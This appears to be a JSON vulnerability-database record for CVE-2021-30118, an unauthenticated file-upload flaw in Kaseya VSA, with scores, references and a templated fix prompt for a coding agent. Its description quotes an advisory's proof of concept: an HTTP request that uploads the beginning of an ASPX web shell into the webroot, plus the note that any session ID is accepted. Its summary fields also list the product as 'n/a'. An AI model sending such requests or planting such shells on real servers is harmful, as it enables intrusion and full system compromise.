{"answers":{"affected":"It affects 1 product.","exploited":"It is not confirmed as exploited in the wild, but public exploit code for CVE-2021-30118 exists.","fix":"No fix has been published for CVE-2021-30118 yet. Limit exposure of the affected software until one is available.","what":"CVE-2021-30118 is a critical vulnerability in n/a, published on 9 Jul 2021. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2021-30118 and fix it if it is affected.\n\nWhat it is: CVE-2021-30118 is a critical vulnerability in n/a, published on 9 Jul 2021. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2021-30118 exists.\n\nAffected product: n/a. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2021-30118/ (Markdown: https://insights.sbomify.com/CVE-2021-30118/index.md)","id":"CVE-2021-30118","markdown":"https://insights.sbomify.com/CVE-2021-30118/index.md","name":"CVE-2021-30118","record":{"aliases":["GHSA-9xr3-46q4-vwhg"],"analysis":{"component_type":"web_application","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Kaseya VSA RMM","requires_auth":"none","summary":"Unauthenticated attackers can upload malicious ASP files to Kaseya VSA, leading to remote code execution on the server.","user_interaction":"not_required","vuln_class":"file_upload"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"mitre","cpe":[{"product":"vsa","vendor":"kaseya"}],"cvss":{"score":9.8,"severity":"critical","source":"cna","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[{"id":"CWE-434","name":"Unrestricted Upload of File with Dangerous Type"}],"description":"An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring \u0026 Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx\u0026PathData=C%3A%5CKaseya%5CWebPages%5C\u0026__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219\u0026qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 \u003c%@ Page Language=\"C#\" Debug=\"true\" validateRequest=\"false\" %\u003e \u003c%@ Import namespace=\"System.Web.UI.WebControls\" %\u003e \u003c%@ Import namespace=\"System.Diagnostics\" %\u003e \u003c%@ Import namespace=\"System.IO\" %\u003e \u003c%@ Import namespace=\"System\" %\u003e \u003c%@ Import namespace=\"System.Data\" %\u003e \u003c%@ Import namespace=\"System.Data.SqlClient\" %\u003e \u003c%@ Import namespace=\"System.Security.AccessControl\" %\u003e \u003c%@ Import namespace=\"System.Security.Principal\" %\u003e \u003c%@ Import namespace=\"System.Collections.Generic\" %\u003e \u003c%@ Import namespace=\"System.Collections\" %\u003e \u003cscript runat=\"server\"\u003e private const string password = \"pass\"; // The password ( pass ) private const string style = \"dark\"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); \u003csnip\u003e ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.","ecosystems":[],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":1,"refs":[{"date":null,"kind":"nuclei","ref":"http/cves/2021/CVE-2021-30118.yaml","stars":null,"title":"Kaseya VSA \u003c 9.5.7 - Arbitrary File Upload to Remote Code Execution"}],"tier":"weaponised"},"has_fix":null,"headline":"Unauthenticated Remote Code Execution in Kaseya VSA \u003c v9.5.5","id":"CVE-2021-30118","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":null,"product":null,"products":[],"type":"file_upload","year":"2021"},"n_packages":0,"n_references":4,"next":{"headline":"Authenticated Authenticated reflective XSS in Kaseya VSA \u003c= v9.5.6","id":"CVE-2021-30119"},"packages":[],"prev":{"headline":"Authenticated SQL injection in Kaseya VSA \u003c v9.5.6","id":"CVE-2021-30117"},"products":["n/a"],"published":"2021-07-09","related":[{"cvss_score":9.9,"headline":"2FA bypass in Kaseya VSA \u003c= v9.5.6","id":"CVE-2021-30120","kev_date_added":null,"published":"2021-07-09"},{"cvss_score":9.8,"headline":"Authenticated SQL injection in Kaseya VSA \u003c v9.5.6","id":"CVE-2021-30117","kev_date_added":null,"published":"2021-07-09"},{"cvss_score":7.5,"headline":"Unauthenticated XML External Entity vulnerability in Kaseya VSA \u003c v9.5.6","id":"CVE-2021-30201","kev_date_added":null,"published":"2021-07-09"},{"cvss_score":6.7,"headline":"Hardcoded credentials in n/a","id":"CVE-2019-14510","kev_date_added":null,"published":"2019-10-11"},{"cvss_score":6.5,"headline":"(Semi-)Authenticated local file inclusion in Kaseya VSA \u003c v9.5.6","id":"CVE-2021-30121","kev_date_added":null,"published":"2021-07-09"},{"cvss_score":5.4,"headline":"Authenticated Authenticated reflective XSS in Kaseya VSA \u003c= v9.5.6","id":"CVE-2021-30119","kev_date_added":null,"published":"2021-07-09"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"},{"class":"attribution","licence":"MIT","name":"Nuclei templates"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":"PUBLISHED","updated":"2024-08-03","vendors":["n/a"]},"summary":"Unauthenticated attackers can upload malicious ASP files to Kaseya VSA, leading to remote code execution on the server.","url":"https://insights.sbomify.com/CVE-2021-30118/"}